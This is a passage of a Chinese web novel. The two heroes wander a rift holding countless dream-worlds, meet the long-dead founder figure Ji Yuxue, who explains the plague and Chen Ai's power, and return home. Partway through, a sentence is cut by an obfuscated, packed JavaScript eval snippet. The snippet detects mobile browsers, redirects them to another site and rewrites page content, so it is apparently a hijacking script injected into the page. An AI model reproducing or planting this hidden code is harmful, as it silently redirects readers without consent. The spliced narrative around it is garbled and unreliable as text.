扭曲物里传来了杂乱的声音,是听不懂的话,于是两人立刻狂奔至下一个。 又是听不懂的语言。 下一个,没有声音,只有低沉的颤抖。 还是没有声音! 脚步逐渐加快,他们路过的扭曲物越来越多,但即使快速的步伐,也听不见耳边应该呼啸过的风。 “这个里面有声音,我听不懂。”时咎急促说。 沉皑非常短快回答:“再去下一个。” 有的扭曲物里有通俗意义上的声音,有的却只有声音,听不出是用什么器官在发声;有的扭曲物,靠近会感觉到心脏的震颤,有的则会令人汗毛直立,似乎是某种超声波或次声波的频率,有的甚至没有声音。 那些能听得到,甚至听得懂的,也充斥着各种形式的语言与用词。 千万扭曲物汇聚在这里,像一个无边牢笼,俯视宏大牢笼里奔走的两人,像在俯视着微尘,小得连沙子都算不上。 跑得累了,他们停下来,时咎抬头望向四周,密密麻麻的扭曲物,甚至记不清他们是从哪个方向跑过来的。 更令人崩溃的是,好像跑过很多地方,但好像一直在原地踏步,那些无尽的扭曲,一点没有减少。 沉皑也发现了这没有尽头的空间,转头低声问他:“你在找地球,或者恩德诺?” 时咎愣了一下,点头。 他隐隐有个想法,只是目前不确定这个地方到底是幻境还是现实,如果是幻境,探索也是必要的,如果是现实…… 想到刚刚他在下坠时看到从半空疾驰而过的黄粱一梦,时咎感觉心跳很快。 他从来没有从那辆列车里下来过,也从没有思考过那辆列车代表什么,对于他来说,那也只是梦的彰显。 接着他们放缓速度往下一个走去。 所有故事、小说、电影,或是人们的想象,都在宇宙中变成真正的现实,只是创作它们的人不知道,它们最终被安放于何处,又有何结局。 如果世界上所有的故事都在这里,那么地球或者恩德诺也一定在这里,说不定可以通过属于它们的扭曲物离开。 问题在于,这数不清的扭曲物,哪一个是他们要找的。 像宇宙里的恒星,他们则是漫步宇宙,无数的宇宙,无数的恒星。 一眼望去,数量多得令人绝望。 到底是幻境还是现实? 108. 第 108 章 再走过一个又一个扭曲物,听到和听不到的频率,加快步伐,或再次减慢。 沉皑不确定道:“我尝试去连接恩德诺,你尝试瞬移?” 时咎思索一下,每次瞬移不是身体冲击就是精神冲击,也只能试一下。 他刚要点头,就被旁边的声音吸引去了注意力,脚步瞬间停止。 时咎忽然屏息低呵道:“等等!” 沉皑立马原地不动。 离他们最近的扭曲物有声音传出来。 ——“你知道什么能让这无形的囚牢消失吗?是每一种深刻而真实的爱,没有爱的人,毫无生活可言。” ——“情谊被唤起之处,生命得以重生[19]。” 时咎感觉到了自己心脏的跳动,他立刻靠近了声音来源的扭曲物,但扭曲物的画面并看不清里面正在发生什么。 沉皑皱眉走近,低声问他:“你知道这个故事?” “不,不是故事。”时咎依然侧耳倾听,“是人。” 作为一个做艺术的人,大多先贤艺术家他都了解颇多,这几句话出自梵高。 这里是地球。 时咎想再次通过触碰的方式回到地球,手刚要伸出去却被沉皑抓住了。 时咎看向他,却见沉皑微微摇头。 “小心点,别冲动。”沉皑说。 他们现在在哪里尚不明确,如何进入这里的也不明确,并不是所有类似幻境的东西都可以通过进入那个世界回去,如果去的地方不是原本的世界呢? 就连之前在教化所前的幻境,通过触碰回到的地方也是过去。 这么说着,时咎伸出去的手缩回来了。 但他紧皱眉头,目光再次看向这个他熟悉世界的扭曲物。 沉皑伸手拍了拍他的肩,轻声道:“我知道越是熟悉的东西越让人感觉安全,但我们先确认一下好吗?” 片刻,时咎点头。 道理是都懂,但是在这样一个地方,他耐不住性子,还需要沉皑来稳住他。 扭曲物如星辰闪耀。 “我们来想想怎么到这里来的吧。”沉皑说。 “好。” 那个时候沉皑还在昏迷,即将受到致命一击,是时咎动念同时用身体和控梦护住了沉皑,完成两人的瞬移。 “按理说,我的瞬移是跟随你的意识的。”时咎想了想说,“有没有可能是你的意识空间?” 时咎再次往四周望去,但在第一时间他就自己推翻了这个假设。 意识也跟随自身经历,如果是沉皑的经历,不会出现百年孤独与梵高,但若是时咎的意识,那么多听不懂的话他也是为所未闻,连他俩加一起都不可能。 唯一的解释只有,这里就是某个客观的、独立于他俩的空间。 沉皑也想到这个可能,他顿了一下,缓缓道:“瞬移之前我俩受了很严重的伤。” 时咎忽感眼前一亮,他一拍大腿。 对。 “不对。”时咎的心思跟过山车一样,刚刚想到一个可能的点立马被推翻,循环往复,“之前我们在沼泽也是,明明快死了,掉下去后又浑身干干净净,不过那是幻境。” 因为教化所磁场紊乱的缘故,他拉着沉皑瞬移到了另一个幻境?不对,这不是幻境,但如果不是,这会是哪? 时咎脑子不停寻找各种可能性,他背着手,在沉皑面前来回踱步,那脚步就像他的思维,往前两步又退回来两步。 沉皑则沉稳许多,他一直站着没动,像雕塑般沉静。 思考片刻,沉皑默默吐出几个字:“除了幻境,还有什么情况下,满身的伤会忽然全部恢复?” 时咎脚步一滞。 还真有。 黄粱一梦。 时咎想告诉沉皑自己这个猜想,然而就在这时,一个声音从背后传来,打断了他们的谈话。 “你们好。” 这样的声音出现在这样的空间,来得令人惊惧万分,时咎只感觉头皮一炸,见鬼一样立刻后退两步一下撞进沉皑怀里,被他用力接住。 沉皑立刻把时咎拦在自己身后,肌肉绷紧迅速转身,冷冷问:“谁?” 这搞不清来头的异度空间里,有人。 那人徐徐靠近,似乎知道自己吓到对方,放缓脚步,就停在离他们几米外不动了。 时咎全身都在戒备状态,警惕地盯着这个不应该出现的人。 一个女人,不高,白发黑眼,看上去知命之年,就堪堪站在两人对面,好像想说点什么,又不知道从何说起。 那一刹那,时咎忽然察觉到沉皑身体的僵硬。 时咎同时一怔,低声问:“怎么了?” 沉皑愣在原地,目不转睛盯着眼前的女人,不可置信。 时咎感觉到怪异,眼神再次瞟向这个女人。 确认不认识。 但沉皑好像认识。 怎么回事? 沉皑僵在原地,他在记忆里翻找了很久,一遍一遍去把名字和照片,和眼前这个人的脸对应上,才拧眉不确定问:“你……季雨雪?” “啊?”闻言,时咎大吃一惊,他猛地看向这个女人。 连对方也没想到会被认出来,瞳孔瞬间睁大。 所有恩德诺的公民都记得这张脸,时咎也见过,只是图书馆匆匆一眼,他早就忘了。 “季,季雨雪?”时咎轻轻念出来这个名字,用难以相信的语调,这冲击震得他再往沉皑身边靠了下。 三个人僵持在原地,似乎谁都无法接受这个信息。 她不是已经…… 半晌,女人看着沉皑的眼睛,率先开口:“我以为,永远不会再有人跟我说话。你的眼睛……你是,沉家的后人?” 她好像很久没有说过话了,嗓子很哑,咬字也有些不清楚。 沉皑轻点头。 能说出“沉家”这两个字,只会是恩德诺的人。 但她怎么会在这里?她不是应该已经去世两百多年了吗? 这里到底是哪里? 这么想着,时咎也直接开口问了:“您知道这是哪里吗?” “您怎么在这里?” 却是和沉皑同时问出声。 季雨雪再次往前跨了一步,离他们再近些以看清楚他们的脸。 明明季雨雪看上去还不算老年,眼睛里却是藏不住的沧桑。 她说:“这是,梦的裂隙。” “梦的裂隙?”时咎用气声喃喃道。 果然,刚刚沉皑问他,还有什么情况下,浑身伤会自愈。他第一时间就想到了:入梦时。 在恩德诺受伤,醒了就恢复如初,再次进入恩德诺,又完全自愈。 他想到了梦这个途径,却一时没想明白是如何运作。 因为这件事,他曾经查过资料,甚至研究过平行时空的问题,假说认为他们的宇宙只是众多宇宙中的一个,存在相同或不同的宇宙常数与规则。一说是,本身就是各自的世界;另一说是同样的世界,由人的主观意识做出不同选择而分裂成无数个平行世界,只要不被观测,两个世界便呈现各自的形态且互相不打扰。 还有一种说法是由美国理论物理学家约翰·惠勒和查理德·费曼提出的,单一电子和其反向过程,同一电子解释整个宇宙,我就是你,就是一切。所以无论在哪个世界,都是‘回家’,只是科学的宇宙里暂时不支持这种说法。 去他的科学。 现在发生的任何一件事,都无法用已知科学来解释。 季雨雪沉静很久,才娓娓道来:“这里就是,所有的宇宙。” 她微微转身,目光看向那些悠远和近处的扭曲物:“每个宇宙,每个星球,每个选择,每个故事,都在这里。” 她随手指了其中一个扭曲物,刚好,就是地球的那个。 她说:“这是其中一个故事的世界。” 接着,她的之间挪向另一处。 “这也是。” “对于故事里的人来说,他们都是现实,但是对于我来说,他们都是梦里的故事。” 她的语气里没有太多情感,好像看多了这里成千上万的故事,已经再没有新鲜事。 时咎捏紧拳头,眼神不自觉慢慢扫过这宏大的空间。 每个人认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14398051|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为的现实,都是别人的梦;那些笔下创造的世界,又都在这里变成现实。 “所以,这是一个真实存在的空间?”时咎问。 “真实存在的空间……”季雨雪重新抿着时咎的问话,片刻,她淡淡解释,“从我有限的知识来看,这里是唯一真实的存在。” 她的重音在“唯一”上。 “神造了这个空间,衍生出无限的宇宙,宇宙中又生长出无数的世界,每个世界都是梦,也是现实。” 说到这里,她自嘲般笑笑:“如果你要问我又是谁造了那位神,我不知道,我从没有走出过这里。” 这里有无数的文明起始。 时咎曾经考虑宇宙问题的时候,从来没有打破砂锅问到底,因为他知道人类的智慧太有限,即使尝试解读无限的宇宙,也只能解释出认知范围内、所谓合理的回答。 沉皑接着问:“所以您为什么在这里?您……还活着吗?为什么不回恩德诺?” 季雨雪愣了下,突然笑出来,或许太久没笑,那面部表情扯得生硬又疼痛,她叹气说:“回不去了。” “为什么?” “因为……”她的目光看向不远处,不知道是在凝视哪一个扭曲物,“因为我不是恩德诺的公民啊。” 时咎眉心一跳,立刻往前走了一步。 不是恩德诺的公民,却在恩德诺的历史里有记载,他们是不是类似的情况? 季雨雪起先是点头,后又摇头:“我从梦中掉入这个裂隙,恩德诺是我的选择。” “这里的每幅画,都是一个世界,我来的世界,叫海拉。”她轻描淡写。 大千世界里一个不起眼、蛮荒的近四维世界。 她世界的人崇尚勾心斗角、祭祀与死神,但并不崇尚死亡,而是死神只是他们世界的一个物种,一个自诩生物链顶端的物种,以捕食那里的人们为食,衰老是死神对人们的长期豢养,生病是不听话的惩罚,死亡则是最后的成全。 人们永远活在恐惧里,他们都不知道死神们的下一个目标是谁,便形成了“及时行乐”的教条,及时行乐包括对他人生命的践踏,对正义的蔑视,对爱的排斥。 季雨雪是个例外。 季雨雪本是一位生物科学家,但她相信爱,便在海拉宣扬爱的教义,却被海拉人恶意传言,她是由她的母亲未婚而孕生下的,这种兆头非常不详,违背了海拉长期以来“恐惧”的传统文化。 他们担心季雨雪惹恼死神,便将她钉死在十字架上,用以提前献祭给死神们。 也许是内心的怜悯与爱,让她求得了所有宇宙这位造物主的垂怜。十字架上的季雨雪分不清自己是还醒着还是睡着,在死亡弥留之际,她来到这个裂隙里。 这一切,本都是她将死时的梦。 海拉与恩德诺的世界在这个裂隙里,距离如此近,以至于季雨雪看到了恩德诺的战争,她心生怜悯想介入,谁知真进入了恩德诺。 她把四维天生的能力带入了恩德诺:透明化。同时看到内部与外部,虽然诸多限制,但还是影响了她到来后遇到的人。 恩德诺本没有能力、没有异能的。 她只是堪堪遇到沉初光,一拍即合,诞下了他们的后代。 从此季、沉两家有了能力。 她叹气,回忆说:“我只是受够了海拉的猜疑与不信任,看到恩德诺的战争,我想改变这里,我期望没有战争,大家都互相信任,才借助我的能力来研究思维透明,一开始也只是研究,并没有想在短时间内真的用上,但是我没想到……” 她突然哽咽。 她毁了这里。 她没想到她来到恩德诺,同时带来了海拉的“死神”。 猜疑、虚妄,本就是海拉的日常,像一种全民免疫的病毒,在海拉不值一提。 可这病毒在相对更加善良的恩德诺,变成了瘟疫。 公民不仅发动战争,还遭受瘟疫。 在同沉初光宣扬爱的活动中,她研究的思维透明不得不在极短时间内被提上来,而在人们彼此看见内心时,瘟疫停止了。 那一天,季雨雪突然明白“死神”的天敌。 109. 第 109 章 “不猜忌,不疑惑。”她说。 不猜忌,不疑惑。时咎顿感觉汗毛直立,他记得这六个字,刻在他当时住的监狱的墙上。 察觉到对方忽然屏住的呼吸,沉皑反手抓紧时咎的手,手指柔和在他掌心摩挲,再看向季雨雪低声问:“您说的,海拉的死神,就是虚疑病对吗?” 季雨雪重重点头。 所以它本不是一种病毒,它就是一种生物,是生物,便有自己的思想。 “所以……”时咎告诉季雨雪恩德诺近期发生的事,虚疑病的卷土重来以及感染目标。 听完季雨雪无奈笑了笑:“猎杀公民,是因为他们的怀疑和虚妄,如果他们肯彼此信任、团结一致,死神就不会找上他们,我想也是因为它发现公民间存在爱的凝聚,可文明中心充斥太多勾心斗角,迅速转移目标了吧。” 时咎当时设想过这个可能性,但这个假说过于泛灵论,也只能是朋友间茶余饭后的假设,却没想是真的。 听了半天的沉皑忽然开口:“如果公民能永远保持信任和爱,虚疑病是不是永远不会再来?” 想到季山月的事,沉皑又补了一句:“如果有人恶意散播病株呢?” 季雨雪平静道:“死神是一种生物,并不是无差别感染的病毒,即使你被它盯上,若内心坚定,它也毫无用武之地。” 海拉的人永远恐惧,所以永远是死神的猎杀目标,但人们把这归结于“生老病死,人生常态”的自然规律,没人想过死亡真的就是自然规律吗? 但堪不破真相,季雨雪只能猜测是自己在临死前依然坚定相信着爱,才让死神放她一马,可她被同胞残害了。 沉皑抿唇想着这些事,手心传来的温度让他觉得宁静许多。 所以季山月对于病株的盗窃其实是无用功,之所以这个病大面积爆发,问题还是出在人心上,哪怕只有小部分人内心不安定,也会扩大成灾难。 也就是说,虚疑病最初的形态,原本只是战争续存下,普通的瘟疫席卷,但病毒的爆发引起了公民无尽的恐惧,也就是那个时候,海拉的死神复苏了,它们嗅到大面积恐惧,借由早期病毒,直接发展成攻击公民精神的传染病。 但死神并不属于恩德诺,所以公民永远不会想到,那是另一个物种的屠杀,只会以自己的先有经验判断那是普通病毒的变异! 于是所有人都以为那只是一场变异。 可是季雨雪知道是怎么回事,她推出了思维透明。 死神对于互相信任的人们无从下口,只能蛰伏在这个世界,让公民们过恩德诺式的生老病死,偶尔,捕食一两个人。 但这一切结束于一次集体的恐慌事件,这个灾难的起源就是几年前季川泽的自焚。 在人来人往的文明中心广场,会有多少人目睹了那场自焚事件? 沉皑再提这段历史,时咎皱眉小声问:“但公民们不是不相信季川泽说的话?” 说完他就反应过来,虽然公民们不相信季川泽说的话,但是他们目睹了自焚与一场击毙,最主要的是,成年人们不相信他说的话,那未成年人呢? 在这次虚疑病大爆发前夕几个月,公民们自杀的开端,就是未成年人。 “死神会离开恩德诺,回到海拉吗?”时咎问。 问到这里,季雨雪露出一个痛苦的表情,随即摇头。 自从她到来后,恩德诺的公民注定要彼此链接。 “那要怎么完全化解?” 问到这里,季雨雪忽然轻轻“啊”了声,她随手指了指这些扭曲物,淡然道:“需要人们之间的爱。我在这里呆了两百多年,看了无数个人们的梦,所有世界,所有宇宙,都靠爱意存活,爱是整个宇宙的通行证。” 这是两百多年前,季雨雪和沉初光传道时类似的理念,也是恩德诺大部分公民一直奉行的真理。 虚疑病,也就是死神,从来不是病毒,它蛰伏在每个人身边,窥探每个人实施“恶”的行为,一旦被实施过,便在进化前被检测出来。 作恶的未成年,与用道德束缚了自己的未成年。 沉皑想到起源实验室的检测仪器,原来他们所做的事并不是检测病毒,曾经的教化所做的也不是病毒剥离,而是去除将恶念变为行动的可能性。 这个仪器是沉家以前的科研人员研发出来的,所以他们应该朦胧中猜到过什么,以另外一种方式、歪打正着般实现与死神的对抗,同样,死神也与他们对抗。 心里有了恶意,即使躲藏在科技下,也会被死神拖出来,所以那些孩子无法进化。。 沉皑问:“就算您不是恩德诺真正的公民,不是也生活过很久吗?为什么回不去了?” “不是回不去。”季雨雪解释,“是不需要回去,如果一定要回去……” 她的目光又看向了她刚刚一直在看的地方。 “其实我想回一趟海拉。” “那您为什么不回去呢?”时咎问。 季雨雪笑出来:“海拉是真的无法回去了。” “为什么?” “因为……”季雨雪顿了一下,“那里没有爱我的人了,他们都恨我。” 那个把她钉死在十字架上的世界,没有一个人爱她,但若是没有人记得她,没有人再爱她,甚至对她全然充满仇恨,她便失去了与那整个世界的连接。 时咎忽然觉得胸口堵得慌,他犹豫了一下开口:“那您……” “没事,在这里永生,也很好。”季雨雪像是知道他要说什么,她的表情看上去很轻松,可能在两百多年里、日复一日的孤独里,已经习惯这个偌大裂隙里的永恒。 她爱着所有人,也想向世人传达爱,在恩德诺完成她自私的心愿后,想回到海拉,却在触碰扭曲物那一刹那被弹回来,后来她也尝试去过一些别的地方,她发现,当她的内心都是悲伤,她进不去任何世界,反而两百年后,心态平和下来,她才重新和一些世界有了连接。 她想当时可以进入恩德诺,是因为死前的坚决,即使是死,她也依然有“信”。 “另外还有一件事我不明白。”沉皑微微捏住自己的掌心,现在看不到任何能量流动,“我不知道,我的能力到底关于什么?”他向季雨雪大致讲述了自己遇到的情况。 他想,既然季雨雪在这里守望两百多年,对大千世界会比他们更了解。 季雨雪微微放松身体,有些惊讶,她的目光看向了裂隙深处,那些两百多年她也未曾到达过的、更遥远的未知。 “你……竟然,竟然真的有……”她忽然一阵热泪盈眶的感触,“我一直在想,会不会有人有这种能力,但是恩德诺的能力本身是维度介入、变异的结果,最后会发展成什么样我也不知道,但我想,整个宇宙都存在的东西,恩德诺一定也会出现吧,所以我一直设想,什么时候出现一个人,他的的能力是爱。” “爱?” 季雨雪朝他笑,那笑里饱含了些什么情绪,沉皑看不透,她说:“我想,你的能力并不是感知,感知只是其中一个附加的结果。你的能力,就是爱本身,对万物的爱,对具体人的爱,这是沉家的天赋啊,有爱、有仁慈,就有与万物对话的可能。” 爱,生生不息。 沉皑立刻反应过来。这个能力在平时只是普通的感知,但每次关键时刻却能爆发出不相符的能量:在他用能力送走那个孩子的时候,一定也是心存仁慈与爱,希望那个孩子活下去;而替时咎吸收了雷的攻击,甚至不久前与言威的大战,都是同样的理由。 那都是他心里真实存在的爱。 心存爱意,便能峰回路转。 在很长一段时间里,他都非常冷漠,和他失去能力有关。但那以后第一次发现自己的能力回来时,是他带时咎去做完强制进化那次。他想,悔意与爱,是共同出现的。便从那以后一发不可收拾。 “怪不得,原来是这样,原来是这样。”时咎自言自语般说,他一把抓住沉皑,眼睛却看着季雨雪,略微有些激动,“意思就是,他的能力其实是,是永恒的进化,只要真诚、有爱,就会有对万物的感知,爱会源源不断,他的能力也会生生不息。” “是。” 如果是这样,他完全无惧言威,甚至完全克制季山月! 周而复始,失去了也可以重来,就算现在被剥夺了能力,也可以恢复。 但真的想推翻言威,就算不惧怕失去能力,也很有可能败在其他地方,除非那股能量大到让言威毫无还手之力。 他们的时间非常有限,否则不知道言威下一步会做出什么,他们得赶在这之前。 一是公布教化所,二是推翻言威。 “你们……”季雨雪视线在他俩身上来回扫视,察觉到不对,她的语气有点不确定,“你们是不是遇到什么事?” 沉皑轻轻点头:“言威想集权独裁,我们在想办法阻止他,刚刚经历了一场恶战,我们也不清楚怎么到了这里,所以……我们得赶紧回去。” 季雨雪侧身,指向不远的地方:“好,我知道恩德诺在哪里,跟我走。” 在裂隙里停留这么久,终于找到了方向。 季雨雪就在前面几步不紧不慢走着,两个人紧随其后。 想到刚刚沉皑的话,季雨雪眉头微蹙:“言威?是言家的后人吗?” 沉皑:“嗯。” 她的语气有些不可思议,但最后只能是轻声叹息,好像知道那些发展的必 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可是他在梦见沉皑之前,和恩德诺并没有任何联系,谈何爱?谈何连接? “这个宇宙的本质就是爱,是频率,而且我只是提出一个思路,无需执着,毕竟你来,就是你的任务。” 在道启教里,每个人都是带着各自的任务前来,有的用善良与爱奉献,有的则用危害与暴力伤害,无论哪种人,都在他们该在的位置上各司其职。 见他始终沉默,沉皑伸手轻轻拍了拍他的背,再搂住他的肩,好像在说,不要担心,都有它的道理。 季雨雪说:“我只是存在,你们也只是存在,并不是活在谁的梦里。”她再次指向这些扭曲物。 就像她最开始说的,每个世界都是一场别人的梦,但是是那个世界人的现实。 时咎问:“怎么才能只是存在,而不活在梦里?” “很简单,不做梦。”季雨雪微微抬头,“人的欲望太多,不合理的需求太多,梦太多,当你不做梦,这些问题便迎刃而解了。” 每路过一个扭曲物,里面的声音便擦过耳廓。 ——“我就是无垠的大海,大千世界不过是我岸边的几粒沙子[20]。” ——“我们赞同的东西使我们处之泰然,我们反对的东西才使我们的思想获得丰产[21]。” ——“我的天空里没有太阳,总是黑夜,但并不暗,因为有东西代替了太阳[22]。” 他们在经过不同的世界,不同的梦,宇宙里所有的故事。 时咎一直在想那些潜在的可能性,却想不出来更多,这个宇宙的运行远比他们所能想象的更加宏大,而人类的想象力又如此贫瘠,以至于再飞跃的思维,也不及宇宙真理的万分之一。 不知道在这没有方向的地方走了多久,时咎想到时间,便想到那些公园的夜晚。 在一片沉默里,时咎开口问:“季小姐,还有一件事。” 时咎感觉自己把季雨雪当百事通了。 季雨雪点头,并没回头。 “我一直做梦去恩德诺,但是有一次,我看到沉皑在我面前被刺杀,可能惊吓过度直接醒过来,那之后很长一段时间无法睡着,睡着也到不了恩德诺,后来终于回来的时候,回到了二十年前的恩德诺,在那里过了很长一段时间,最后才回到正常时间线,您知道会是什么原因导致的吗?” 季雨雪脚步不停,肯定的语气说:“你们在一起是吗?” 时咎抓紧了沉皑的手:“是。” “因为执念。”季雨雪回答很快,好像这件事她已经见过无数回,“三维世界的时间线只有顺序,所以你从你的世界到恩德诺,时间线也是同步的顺序,但你毕竟不是恩德诺的公民,通过梦的形式过去,中间的锚点很脆弱。执念太深,或者某种仇恨、情绪太深,就都会出现重力拉扯,时间线就会紊乱,只有你不执着某个结果,属于你的结局才会到来。” 时咎微微张嘴,有些惊讶,回想当时,他确实发疯、着急得快要死掉,一心只想见沉皑,而在地球几个月过去后,他的心态逐渐平和,才又顺理成章回到了正确时间点里。 谈话间,季雨雪在一个扭曲物前停下了。 两人也听到了里面传来的声音。 ——“你的催眠,我已经解了,其实你完全不用想那么多不是吗?” ——“教化所的幻境是你做的?” 这声音一出,两个人顿时愣在原地。 是恩德诺,是言威与夏癸的对话。 他们在说什么?教化所的幻境? 等等…… 110. 第 110 章 两人同时想到了什么,忽然屏住呼吸没有说话。 他们就这么站着,如同拥有了上帝视角,听着里面熟悉声音在谈论。 ——“我认为你是知道的。原来你不知道,我本以为季山月比你好控制,没想到你更好控制。不过季山月的事不能怪我,是他自己不愿意面对事实。至于你……你是我最完美的作品,不是吗?” ——“你想要做什么?” ——“我想啊,在你死后,如果有一个人愿意在所不辞完成你的心愿,你也会感动吧?” 这是夏癸的声音。 夏癸的意思是,她在操控言威? 时咎皱眉问:“夏癸的能力是什么?” 沉皑也显得不可置信,半晌,才吐出来两个字:“催眠。” 那一瞬间,那些过往对于种种不合理的答案纷涌而至,时咎终于想清楚言威身上的矛盾点在哪里了! 一个人一直处于被催眠状态,他的行为一半来源于他本身,一半来源于被催眠的结果。 竟然是,夏癸。 所以他们在蘑菇山上层层恐惧般的幻境,都是夏癸的能力。 谁也没想到真相会被以这样的方式展现出来,震惊的情绪流于表面,但很快沉皑就收敛起情绪,他低声说:“我们要快点。” 身后季雨雪的声音则相对平静:“走进去就可以了。” 就可以从这个梦的裂隙里回到现实,他们还有事情要做,不能让言威,不,夏癸,继续下去了,无论她说的那个愿望是什么。 临走,时咎再次回头看向这个地方,再次问道:“您真的不回去吗?” 季雨雪摇头,扯了下嘴角:“回去我也不知道如何生活。” “恩德诺的公民是爱着您的。” “我知道。” 季雨雪看着这团扭曲物,有些若有所思,半晌,她的身体放松下来,柔软道:“等他回来了,长大了,我再来吧。” 时咎疑惑:“他?” 季雨雪却是再次摇头:“快去吧,时间紧急。” 时咎看向沉皑,见他神情宁静,用闭眼睁眼来示意他们可以走了。 离扭曲物越近,噪音越大,除了熟悉的声音交谈,好像周遭空气里的声音,城市公民里笑声,学校的读书声,全部传入耳。 时咎走在前面,沉皑紧跟其后,就在时咎即将触碰那一团扭曲物时,季雨雪轻声对他们说:“我会在这里看着你们的。” 指尖碰到扭曲物的边缘,它倏然放大,如同张大嘴要吸食他们,时咎感受到一股巨大的吸力横冲直撞拉扯着他,他立刻抓紧沉皑的手腕,两个人瞬间被扭曲的空间吞了进去。 很快,扭曲物又恢复平静,变成最初的样子,开始播放着里面其他公民的声音。 走远几步,整个裂隙就像从来没有人来过,寂静得可怕。 季雨雪就站在所有扭曲物的中间,默不作声,如同过去的两百多年。 又是无尽的下坠,在下坠中,两个人紧紧抱在一起,看不清周围风起云涌的错落,只能在对方眼里寻得安心。 时咎在想,真的可以通过触碰它进入另一个梦,还好有沉皑在,否则他在一进入裂隙时,便不知道到哪个世界去了。 下坠越久,周围越是发白,直到什么都看不见,刺眼的白色让两个人不得不都闭上眼。 “咚”一声,像心跳砸在胸腔的声音。 随后是长久的、如黑夜般的沉寂。 沉皑醒来的时候是清晨,他听到海鸥与海浪的声音,清脆温婉,如同在音乐的世界里,有些心旷神怡。似乎已经多年没有这么放松下来安静持久地听大自然的声音了。 沉皑微微翻身,整个思绪便被身上剧烈的疼痛给拉回来了,他倏然睁开眼,意识回溯。 熟悉的房间,旁边的窗户开着,海风吹着白色丝质半透明的窗帘一直在晃动,那海浪与海鸥的声音就是从这里传进来。 竟然是在海边的家里。 再一动,剧痛终于让他的意识彻底清醒过来。 他好像是意识进入了梦的裂隙,但是身体的伤依然存在。 回想到时咎,应该是因为时咎的身体本属于地球,所以才能在梦里受伤自愈自如,但对于他来说恩德诺是现实,去了一趟梦的裂隙再回来,并不能治愈伤口。 如果他做梦去了地球,去到时咎身边,又再地球受了伤,醒来再过去,应该也是毫发无损的。 想到这里,门开了。木门被推开的声音有些年代感,吱呀得像腐朽的老木。 脚步声慢慢踱进来,玻璃碰撞的声音格外动听,还有消毒水的味道,似乎是拿着药物进来的。 时咎蹑手蹑脚地进来,轻轻把盛放酒精消毒棉和冰袋的木托盘放在床头,一转身,就看见深蓝色的眼睛正看着自己。 他愣住半晌,表情微动,结巴道:“你,你,你痛吗?” 时咎的身上已经看不出来任何伤口,不知道是在蘑菇山后第几个睡着的时刻了。 只有他可以清醒睡着就自愈。 时咎的表情非常不自然,看得沉皑感觉有些奇怪,便开口问:“你在做什么?”他的声音很沙哑,脸上也缠了绷带,一说话,扯着脸上的伤口。 时咎局促地回答:“一些小伤口,隔几天清理一下,大伤口医院已经处理过了,下个月再去复查。”说着,他有点想去掀沉皑的被子,好方便上药,然而手伸到一半又缩回来了,有点尴尬地在空中舞了个圈,最后原地罚站。 沉皑看着他这一系列莫名的反应又问了一遍刚刚的问题。 “呃。”时咎窘迫地四处看,最后说,“你还认得我吗?” 沉皑:“……” 沉皑冷漠:“不认得。” “啊。”时咎轻飘飘感叹一声,突然不知道如何接话。 沉皑闭上眼又睁开,有点无语淡淡道:“我是失去能力,不是失去记忆。” 好像是那么回事,但是…… 沉皑忽然就反应过来时咎心里在想什么了。之前能力丧失的时候,他感觉不到情绪,自己也没有情绪,可裂隙里没空想,现在反而担心起来了? 沉皑心里很柔软,想伸手去摸时咎的脸,但疼痛让他做不到。 目前感受上来看,他依然是有情绪的,尝试了一下,发现确实又无法有力调动身边的磁场,但并不是一丝都没有。 果然可以再生。 沉皑想对他露出笑容,扯动肌肉又扯到伤口,便立刻恢复了面无表情,顺便一本正经说:“好像也失去了一些,你,你又越狱了?你为什么在我家里?” 时咎:“?” 时咎震惊:“你来真的?” 沉皑装得语气很冷,他说:“在我家,我也不会放了你。” 他的脸上缠了很多绷带,除了眼睛,其他地方都不能展现出明确的表情,看上去都没有表情,偏偏沉皑将眼睛一闭,就真的什么都看不出来了。时咎也分辨不出来真假,只能听出来沉皑的语气很冷。 他要真不认得自己,岂不得从头再来? 不对,这家伙该不会是跟自己学,开演了吧?不然以他以前的性格不应该开口第一句就问“你怎么在这里”? 迅速反应过来的时咎原地翻了个白眼,心想:太好了!反正这浑身是伤躺床上的不是我,现在你可是任我宰割,还敢装? 于是时咎毫不犹豫地掀开了被子,泰然自若地坐在床边开始帮他挨个给伤口消毒,又拿来冰袋压在伤口上快速消肿。 还敢提越 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那个世界上不存在的地方,就是言不恩的结界里,她在蘑菇山的山顶制造了一个巨大的结界,人们只要接受引导进入山里,逐渐就会被结界吞噬,进到一个新的空间,而夏癸的幻境,就在那里等着他们。 如果言不恩的能力大家都知道,其实很容易推测到那个不存在的地方在哪,所以言威从来不允许她说出来。 正在这时,外面响起门铃。 时咎站起来说他去开,起身的时候捏了下沉皑的手让他在这好好躺着。 这个时间家里没人,不知道谁会来拜访。 或许是住在山腰上沉家的亲戚朋友。这么想着,时咎打开门。 门外站着的是一个小男孩,看上去大概六七岁,他仰着头才可以和时咎对视,但又面对着太阳,便伸手挡住了额头,是个面容清秀可爱的小男孩。 时咎诧异:“你好?” 小男孩点头自然说:“你也好。” 自然得像“同志们好。同志们辛苦了。” 这是一个小男孩能说出来的语气? 时咎问他找谁?他说找沉皑。 虽然不知道沉皑怎么会和这样一个小孩有关系,不过时咎还是让他进去了。 小男孩看到浑身是伤躺在床上的沉皑还惊讶了一下,但很快恢复平静说:“你就是沉皑。” 他背着手绕床走了一圈,思索着什么,一时间都没人说话,只有海风乐此不疲地灌透房间。 时咎默默与沉皑对了个眼神,沉皑的眼神里写着:不认识。 时咎正打算询问,小男孩先开口了:“我听说过你的事。” 他站定在床侧边,认真看着床上的人,接着说:“沉家第一个想要入世做掌权者的人。我第一次听说的时候也很诧异,文明百年安定,沉家也百年隐居,偏偏在掌权者开始腐败时,出现了你,我想,这就是历史的选择。” 他的语气非常老成,抑扬顿挫也恰到好处,不像六七岁,倒像一个百岁老人。 